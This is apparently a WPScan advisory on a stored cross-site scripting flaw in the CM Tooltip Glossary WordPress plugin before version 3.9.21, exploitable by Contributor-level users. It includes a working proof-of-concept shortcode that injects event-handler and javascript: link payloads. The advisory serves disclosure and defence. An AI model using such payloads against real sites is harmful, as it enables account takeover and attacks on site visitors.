WordPress Plugin Vulnerabilities
CM Tooltip Glossary < 3.9.21 - Contributor+ Stored Cross-Site Scripting
Description
The plugin does not escape some glossary_tooltip shortcode attributes, which could allow users a role as low as Contributor to perform Stored Cross-Site Scripting attacks
Proof of Concept
[glossary_tooltip dashicon='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS-enhanced-tooltipglossary_dashicon/)//' link="javascript:alert(/XSS-enhanced-tooltipglossary_link/)"]Click me[/glossary_tooltip]
Affects Plugins
Fixed in 3.9.21 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-06 (about 2 years ago)
Added
2021-09-06 (about 2 years ago)
Last Updated
2023-01-29 (about 1 years ago)
WPScan 